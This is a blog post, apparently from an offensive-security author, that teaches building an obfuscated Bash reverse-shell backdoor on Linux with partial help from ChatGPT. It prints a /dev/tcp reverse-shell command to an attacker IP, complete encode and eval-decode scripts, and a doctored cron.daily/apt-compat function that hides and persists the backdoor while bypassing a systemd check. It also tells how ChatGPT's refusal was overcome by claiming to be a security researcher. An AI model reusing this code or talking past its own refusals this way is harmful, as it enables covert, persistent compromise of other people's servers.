Building Linux Backdoors with ChatGPT

Yes, AI is here, and bad guys will use it. However, I wanted to see whether ChatGPT is worth all the hype and F.U.D. or just vaporware. So I will create a simple Linux Bash backdoor with heavy code obfuscation using ChatGPT. I will also show some methods of enhancing obfuscation by blending my Linux Bash backdoors with known good functions. So by the end of this process, we should be able to see just how much assistance ChatGPT can offer in creating malicious code.

While a portion of this article is spent on ChatGPT’s abilities, it really is a guide to creating custom Bash code obfuscation. I include the ChatGPT research to ride that sweet SEO-search traffic wave! Don’t judge me; a guys gotta eat.


Table Of Contents

Obfuscating Linux Bash Code Backdoors table of contents

Linux Bash Backdoors

Creating a basic Bash backdoor in Linux is very simple. For example, I want the Linux system to run the below command, which will open a reverse shell back to my attacking system at IP 10.90.0.100 on port 9001.

bash -i >& /dev/tcp/10.90.0.100/9001 0>&1

That code is very simple but is a functioning backdoor. For this ChatGPT test, we will stick with this basic command as our core backdoor method and will act as our payload. That leaves two other challenges, which are as follows.

  • Hiding the backdoor from server administrators.
  • Periodically re-running the code to restart the backdoor if a connection is lost.

Obfuscating Linux Bash Code Backdoors

Encoding is the process of transforming text from one form to another; it is not encryption. Encoding the backdoor code will make it less obvious that it is malicious. I want to use several different encoding methods to hide our backdoor from server admins. I will not use any Base64 encoding because it is lazy, and so played out. Any admin worth his salt will spot Base64 and know its malware.

Obfuscating Linux Bash Code Backdoors

ChatGPT Code Obfuscation

To test ChatGPT I asked it how I can obfuscate Bash scripts. Its response was underwhelming, but it was accurate. This would be a good place to start if I had zero knowledge of obfuscating code in Bash. You can read the dialog at the below link.

URL: ChatGPT Chat Log Link, Archived Chat Log Link

ChatGPT did have a general idea of what needed to be done, but its methodologies are too fundamental. The chat I linked about is just one of many chats. The data it provided was helpful, but it was also so basic to be sub-script kiddie levels. At this point, I decided to change my approach to what I was asking ChatGPT to do.

ChatGPT creates pseudo-original content, meaning it really only reworks what others have written. So if I want a good Bash backdoor, I need to outline how a good Bash backdoor would work.


Obfuscated Bash Backdoor Methodology

Obfuscated Bash Backdoor Methodology flow chart.

The method of how I will store and execute the Bash backdoor payload will flow like this.

  1. On the attacker’s system, have a Bash script that will take in a payload string, obfuscate the payload and save the obfuscated payload to a “data.dat” file.
  2. Copy the “data.dat” file to the victim’s Linux server to the “/tmp”, or somewhere like “/var/backups/”.
  3. Hide the Deobfuscate function in a script on the victim’s server that runs periodically, like “/etc/bash.bashrc”, or a cronjob.

When building a backdoor you need to think like a systems administrator. Consider you are a Linux server administrator, and you find a “data.dat” file filled with what looks like random data in the “/var/backups/” directory. Are you going to assume it is malicious and delete that file? You’ll likely assume it is a backup of something important you don’t know about and leave it.

Separating the deobfuscation function from the obfuscated payload helps conceal eaches malicious intent. I still find Bash functions that are part of the core OS I don’t initially understand or know what it is for, even with a decade of Linux experience. There are also non-malicious files with blobs of data I cannot read in Linux OSs. However, having difficult-to-read Bash functions and a big blob of unreadable data(text) in the same file immediately sets off red flags.


Build a Bash Backdoor Encoding Process

So now that we have established the method of how the backdoor will function, we need to outline the obfuscation process. We need to be able to tell ChatGPT every exact step of the process to produce the code we need. This means building the custom encoding process from start to finish. To create an outline of the data encoding process we will use CyberChef.

Here is the payload encoding process I will use. You can build your own with CyberChef.

Use CyberChef to build text encoding processes.

Here is the encoding breakdown.

  1. Plain text, converted to..
  2. Hex with a “\x” delimiter, converted to..
  3. Charcode with a “;” delimiter, in base 16
  4. Xor(bitwise) the Charcode with a key of “42”, finally converted to..
  5. Binary with a “;” delimiter in 8 bytes and saved to the “data.dat” file

The encoding methods I chose are based on a few factors. One key factor is Bash has some limitations when converting data from one type to another. For example, Charcode base 16 is just a two-digit number representing a character, and that two-digit number is much easier to Xor and has consistent results in Bash. Bash’s Xor-ing function will produce null bytes if you Xor non-numerical values, breaking payloads and scripts. I also intentionally have Hex as the first encoding step, which will be the last in the deobfuscation process. Hex code with “\x” delimiters can be directly passed to the “eval” command and executed. So the deobfuscation process never fully converts back to plain text.


Have ChatGPT Write Bash Backdoors

Now that we have an encoding process and backdoor methodology worked out let’s see if we can convey this to ChatGPT and write us the code. Here is the specific summary of what we want that we will give to ChatGPT, explaining what we need.

Write one bash functions that will take in a string as an argument, convert that string to Hex(delimiter “\x”, bytes per line 0), and convert that result to Charcode(delimiter with “;” in base 16), with the resulting data do a bitwise Xor(Hex Key 42, ) with each base 16 value, convert that result to binary(delimiter “;” and byte length of 8), and save the output to a file in the current directory; Then write another bash function to do the same thing but in reverse taking a file name containing the encoded data as an argument. Make the scripts as short and small as possible. The encoding and decoding functions should be self-contained to one function each.

Me

Can ChatGPT Build It? Kinda…

Hacker using ChatGPT to make backdoors.

Throughout the next few Chats with the A.I., it became very clear that ChatGPT cannot handle long requests for code. However, asking for a single step in the encoding or decoding process yielded good results. So asking ChatGPT for a single line of code per request means we must still piece the code together ourselves. This does speed up the backdoor creation process and means we don’t need to be an expert in writing Bash code.

Here are the two chats if you wish to review them.

Between these two chats, I could pull out a working script one line at a time from ChatGPT. However, its code was buggy and took a lot of reworking. My biggest annoyance with ChatGPT is that it will always confidently spit out code, even when non-functional. ChatGPT would also ignore parts of my requests. In both cases, I would prefer if ChatGPT said it was unsure what to do and offered its best guess.


A Custom Bash Backdoor

So, after all the ChatGPT questions and rewriting, I have working obfuscation and deobfuscation functions. You can review the code below or on my GitHub.

I created a detailed and slim version of the obfuscation and deobfuscation functions.

Bash Obfuscation Function

#!/bin/bash

obfBd() {
    # Variable to store the plain text input
    local inputPayload="${1}"

    # Variable to store the output file path
    local outputFile="./data.dat"

    # Colors for output
    RED='\033[0;31m'
    NC='\033[0m' # No Color

    # If "${2}" is empty, or has a value less than 1, then use the default vaolume of 42 for the XOR key. Otherwise, use the value of "${2}" as the XOR key.
    if [[ -z "${2}" ]] || [[ "${2}" -lt 1 ]]; then
        local xorKey=42
    else
        local xorKey="${2}"
    fi
    # XOR function using a bitwise XOR operation.
    xor(){
        xorKey="$1"
        shift
        R=""
        for i in $@; do
            # Xor the decimal with the XOR key. Bitwise XOR operation.
            R="$R "$(($i^$xorKey))""
        done
        # Return the result.
        echo "$R"
    }

    # Convert the plain text input to hex
    Hex="$(echo -n "${inputPayload}" | xxd -ps -c 1 | awk -F '\n' '{OFS=":"; for(i=1;i<=NF;i++) printf "%s%s", "\\x"$i, (i==NF)?"":";"}')"
    printf "${RED}Hex:${NC}";echo "${Hex}"

    # Convert the hex to charcode
    Charcode="$(echo -n "${Hex}" | od -An -t x1 | tr ' ' ';' | tr -d '\n')"
    printf "${RED}Charcode:${NC} ${Charcode}\n"

    # Convert the charcode to decimal
    Decimal="$(echo -n "${Charcode}" | while IFS= read -r -n1 char; do printf "%d " "'${char}'"; done)"
    printf "${RED}Decimal:${NC} ${Decimal}\n"

    # XOR the decimal with the XOR key
    Xor="$(xor "${xorKey}" "${Decimal}" | sed -e 's/^[[:space:]]*//' -e 's/[[:space:]]*$//')"
    printf "${RED}XOR Decimal:${NC} ${Xor}\n"

    # Convert the XOR'd decimal to binary
    Binary="$(echo -n "${Xor}" | xxd -b -c1 | awk '{print $2}' | tr '\n' ' ')"
    printf "${RED}Binary:${NC} ${Binary}\n"

    # Write the binary to the output file
    echo -n "${Binary}" > "${outputFile}"
    printf "${RED}Obfuscation complete. Output file:${NC} ${outputFile}"
}

# This function is a slimmed down version of the above function. It does not include the intermediate steps.
obfBdSlim() {
    if [[ -z "${2}" ]] || [[ "${2}" -lt 1 ]];then k=42;else k="${2}";fi
    for i in $(echo -n "${1}"|xxd -ps -c 1|awk -F '\n' '{OFS=":"; for(i=1;i<=NF;i++) printf "%s%s", "\\x"$i, (i==NF)?"":";"}' \
    |od -An -t x1|tr ' ' ';'|tr -d '\n'|while IFS= read -r -n1 c; do printf "%d " "'${c}'";done); do R="$R (($i^$k))";done
    sed -e 's/^[[:space:]]*//' -e 's/[[:space:]]*$//'<<<"$R"|xxd -b -c1|awk '{print $2}'|tr '\n' ' ' >"./data.dat"
}


# Run the obfBd function with the payload and the XOR key as arguments.
obfBd "${1}" "${2}"

# Run the obfBdSlim function with the payload and the XOR key as arguments.
obfBdSlim "${1}" "${2}"

Here is the function obfuscating the command “whoami” and storing the obfuscated data to a “data.dat” file.

Bash Obfuscation Function in action. Obfuscation the command command "whoami".

Bash Deobfuscation Function

#!/bin/bash

deobfBd() {
    # Get the contents of the binary file, which is the payload.
    Binary="$(cat "${1}")"

    # The XOR key used to encrypt the payload.
    # If "${2}" is empty, or has a value less than 1, then use the default vaolume of 42 for the XOR key. Otherwise, use the value of "${2}" as the XOR key.
    if [[ -z "${2}" ]] || [[ "${2}" -lt 1 ]]; then
        local xorKey=42
    else
        local xorKey="${2}"
    fi

    # Colors for output
    RED='\033[0;31m'
    NC='\033[0m' # No Color

    # XOR function using a bitwise XOR operation.
    xor(){
        xorKey="$1"
        shift
        R=""
        for i in $@; do
            # Xor the decimal with the XOR key. Bitwise XOR operation.
            R="$R "$(($i^$xorKey))""
        done
        # Return the result.
        echo "$R"
    }

    # Output the binary to show the contents of the binary file.
    printf "${RED}Binary:${NC} ${Binary}\n"

    # Convert the binary to Xor-ed decimal.
    XorDecimal="$(for a in ${Binary} ; do printf "%x" $((2#$a)); done | xxd -r -p)"
    printf "${RED}XOR Decimal:${NC} ${XorDecimal}\n"

    # Convert the Xor-ed decimal to decimal.
    Decimal="$(xor ${xorKey} "${XorDecimal}" | sed -e 's/^[[:space:]]*//' -e 's/[[:space:]]*$//')"
    printf "${RED}Decimal:${NC} ${Decimal}\n"

    # Convert the decimal to charcode.
    Charcode="$(awk '{for (i=1; i<=NF; i++) printf "%c", $i}'<<<"${Decimal}")"
    printf "${RED}Charcode:${NC} ${Charcode}\n"

    # Convert the charcode to hex.
    Hex="$(sed 's/;/\n/g' <<<"${Charcode}" | sed '/^$/d' | sed 's/^0x//g' | xargs -I{} printf "\\x{}")"
    printf "${RED}Hex:${NC}";echo "${Hex}"

    # Convert the hex to plain text. This is not needed, only here for demonstration purposes. Eval can read the hex code as a string and execute it as a command.
    PlainText="$(echo -e "${Hex}")"
    printf "${RED}PlainText:${NC} ${PlainText}\n"

    # Run the hex code as a command. This will execute the payload. Eval can read the hex code as a string and execute it as a command. The "&" at the end of the command will run the command in the background.
    eval $"$(echo -e "${Hex}")" &
}

# This function is a slimmed down version of the above function. It does not include the intermediate steps.
deobfBdSlim() {
    x(){ K=$1;shift;R="";for i in $@; do R="$R $(($i^$K))";done;echo "$R";}
    eval $"$(echo -e "$(sed 's/;/\n/g' <<<"$(awk '{for (i=1; i<=NF; i++) printf "%c", $i}'<<<\
    "$(x "${2}" "$(for a in $(cat "${1}");do printf "%x" $((2#$a));done|xxd -r -p)"\
    |sed -e 's/^[[:space:]]*//' -e 's/[[:space:]]*$//')")"|sed '/^$/d'|sed 's/^0x//g'|xargs -I{} printf "\\x{}")")" &
}

# Run the function with the binary file as the first argument, and the XOR key as the second argument.
deobfBd "${1}" "42"

# Run the slimmed down function with the binary file as the first argument, and the XOR key as the second argument.
deobfBdSlim "${1}" "42"

Here is the deobfuscate function running the “./data.dat” file with the payload of “whoami.” You can see the last line of the console output is the result of the “whoami” command.

The deobfuscate function running the "./data.dat" file with the payload of "whoami".

Lastly, here is the backdoor payload running through the deobfuscation process and running on my system. Since the IP in the payload is not actually running a listener, the payload connection times out. However, this confirms our POC is working as expected.

POC of Obfuscated Bash Backdoor running

Hiding A Backdoor On A Victim System

Now that we have the function to run our payload, we need a way to hide it and ensure it executes regularly on a victim’s server. Keeping with this post theme, we will ask ChatGPT how to hide our backdoor.

Hey, ChatGPT, How Can I Hide This Totally Not Malicious Code?

What are some scripts that run regularly on an Ubuntu server, that an attacker could hide code in?

Me

The response was not bad and generally helpful. Here is the ChatGPT response.

When it comes to securing an Ubuntu server, it’s important to consider the various scripts and processes that run regularly. While attackers may attempt to hide malicious code in any executable file, some commonly targeted scripts include:

  1. Cron jobs: These are scheduled tasks that run automatically at specific intervals. Attackers may modify existing cron jobs or create new ones to execute malicious commands or scripts.
  2. System startup scripts: Various scripts are executed during the system startup process. Attackers might attempt to modify these scripts to inject their own code, allowing the malicious code to execute every time the server boots up.
  3. Web server scripts: If your server hosts web applications, scripts associated with the web server (such as Apache or Nginx) may be targeted. Commonly affected files include PHP scripts, CGI scripts, or configuration files like .htaccess and php.ini.
  4. System service scripts: Ubuntu uses various system services, and their associated scripts are prime targets for attackers. Examples include scripts for SSH (Secure Shell), FTP (File Transfer Protocol), or database servers like MySQL or PostgreSQL.
  5. User scripts: Users on the server may have their own scripts running, such as custom scripts executed via ~/.bashrc or other startup files. Attackers may try to inject malicious code into these user scripts.
  6. Logging and monitoring scripts: Scripts responsible for logging and monitoring server activities may be manipulated by attackers to hide their presence and evade detection. For example, they could tamper with log rotation scripts or monitoring agent scripts.
ChatGPT

Is This Good Information?

Yes, this response is correct; it lacks depth but is a good starting point. So next, I started asking ChatGPT to expand upon the backdoor hiding methods it listed. In the proceeding chats, ChatGPT described the basics of the attacks and gave enough information that anyone could, with additional research, fully flush out the backdoor concealment methods. So I will use one of ChatGPT’s methods to hide my backdoor in the system; Cronjobs.

This backdoor is a backup access method in case my initial exploit method becomes inaccessible. So staying concealed is the most important aspect. I want the backdoor payload to only to execute once daily to avoid detection. For these reasons, hiding my code in a script inside an existing script in the “/etc/cron.daily/” directory.

Check out the full chat log at the below links.

URL: ChatGPT Chat Link, Archive Chat Link

Trolling ChatGPT

Side Note: During this chat, ChatGPT stop providing me answers because it thought I was asking to do something “unethical.” I mean… I was… However, all resistance evaporated after explaining to ChatGPT that I am a “Security Researcher” and I need to understand how “bad guys” perform these attacks.


Enhancing Bash Backdoor Obfuscation Using ChatGPT

I propose using ChatGPT to integrate my backdoor function into an existing essential function, enhancing obfuscation. Numerous potential locations exist for concealing our obfuscation function, but for simplicity, I will utilize the “/etc/cron.daily/apt-compat” script as suggested by ChatGPT. Within this script, several functions can be modified by ChatGPT to incorporate my malicious function.

Within the “/etc/cron.daily/apt-compat” script, there is a function called “random_sleep().” This is the function I will use to embed my malicious code within. Below is the unaltered version of the function.

# randon sleep function copied from the deafult apt periodic script found in /etc/cron.daily/apt-compat
random_sleep()
{
    RandomSleep=1800
    eval $(apt-config shell RandomSleep APT::Periodic::RandomSleep)
    if [ $RandomSleep -eq 0 ]; then
        return
    fi
    if [ -z "$RANDOM" ] ; then
        # A fix for shells that do not have this bash feature.
        RANDOM=$(( $(dd if=/dev/urandom bs=2 count=1 2> /dev/null | cksum | cut -d' ' -f1) % 32767 ))
    fi
    TIME=$(($RANDOM % $RandomSleep))
    sleep $TIME
}

Asking ChatGPT to Merge Functions

I tried a few times to get ChatGPT to take two functions and merge them into one. Here are those chat logs.

Can ChatGPT Do It? No.

To summarize the chat logs, ChatGPT does not understand what I want it to do. ChatGPT kept nesting the two functions inside one, not mixing the code to conceal the backdoor code. There could be a few reasons why ChatGPT fails at this task. I may not be asking ChatGPT correctly for what I want, or it is not trained enough in Bash coding to know what to do. In the second chat, ChatGPT did achieve exactly what I wanted. However, when I asked ChatGPT to repeat the correct function mixing process again with two new functions, it reverted back to just nesting the functions.

Bottom line, getting ChatGPT to merge two functions takes longer than manually merging the functions.


Manually Merge Apt-compat Cron Function & Implantation

So here is my version of the “random_sleep()” function from the “/etc/cron.daily/apt-compat” script merged with the backdoor code. When the function runs, it will open my prebuilt obfuscated “/var/backups/aptdata.dat” file containing the reverse shell payload.

random_sleep()
{
    RandomSleep=1800
    x() { K=$1; shift; R=""; for i in $@; do R="$R $(($i^$K))"; done; echo "$R"; }
    eval $(apt-config shell RandomSleep APT::Periodic::RandomSleep)
    eval $"$(echo -e "$(sed 's/;/\n/g' <<<"$(awk '{for (i=1; i<=NF; i++) printf "%c", $i}'<<<\
    "$(x 42 "$(for a in $(cat /var/backups/aptdata.dat);do printf "%x" $((2#$a));done|xxd -r -p)"|\
    sed -e 's/^[[:space:]]*//' -e 's/[[:space:]]*$//')")"|sed '/^$/d'|sed 's/^0x//g'|\
    xargs -I{} printf "\\x{}")")" 2>/dev/null &
    if [ $RandomSleep -eq 0 ]; then
        return
    fi
    if [ -z "$RANDOM" ] ; then
        # A fix for shells that do not have this bash feature.
        RANDOM=$(( $(dd if=/dev/urandom bs=2 count=1 2> /dev/null | cksum | cut -d' ' -f1) % 32767 ))
    fi
    TIME=$(($RANDOM % $RandomSleep))
    sleep $TIME
}

To get this code to run as part of the daily cron jobs, we need to do the following in the “/etc/cron.daily/apt-compat” script.

  1. Change the script interpreter to “#!/bin/bash” instead of “#!/bin/sh”.

    Explanation: In Ubuntu, using “#!/bin/sh” interpreter will run our script using the Dash shell. The Dash shell does not operate the same way Bash does. So deobfuscation and execution code will not run correctly in Dash. This is why we must change the script to use the Bash interpreter.
  2. Bypass the “systemd timer” check. Change the “if” statement on line 10 to if [ -d /run/systemd/systemd ]; thenfromif [ -d /run/systemd/system ]; then.”

    Explanation: Since about Ubuntu V16, “systemd timer” has been preferred over cron. The “if” statement checks if the “systemd timer” directory exists; if it does, the script will exit. So we need to alter the “if” statement to check for a folder that does not exist. I just added a “d” to the end of the directory name.
  3. Replace the “random_sleep()” function.
Implanting a backdoor in a cron script.

Testing Our Backdoor

To ensure our backdoor works, we can manually run the “/etc/cron.daily/apt-compat” script on the victim system. Note how when we run the backdoor, there are no output messages and no indication of what is happening. However, if we run the “ss”(new version of netstat) command we can see the backdoor is connected.

running a obfuscated Bash backdoor on victim server.

On our Attacker system, we can see that the backdoor successfully ran and made the victim system connect to us.

running a obfuscated Bash backdoor listener on attackers systems.

TLDR: Building Bash Backdoors With ChatGPT

TLDR: Building Bash Backdoors With ChatGPT

ChatGPT, like any tool, has a time and a place to use it. ChatGPT is well suited to researching and brainstorming new ideas, such as creating obfuscated Bash backdoors. However, ChatGPT is not good at actually creating fully functioning code. Most of the code ChatGPT produced was non-functional. No matter how often I explained the code was non-functional, ChatGPT would apologize, tell me it fixed its mistake, then spit out the same code again.

In short, ChatGPT is helpful, but it’s not passing the OSCP certification anytime soon.

TLDR: Bash Obfuscated Backdoors

Here are my tips when building a Bash backdoor.

  • Think like a Systems Administrator; hide your backdoor in existing scripts.
  • Blend known good functions with your backdoor code.
  • Separate the reverse shell payload from the decoding and execution function. Blobs of encoded data look suspect!
  • Use CyberChef to design and tweak data encoding methods when designing the obfuscation process.
  • Don’t use Base64. It’s stupidly obvious that it is malicious.

You can find the Bash backdoors I created on my GitHub.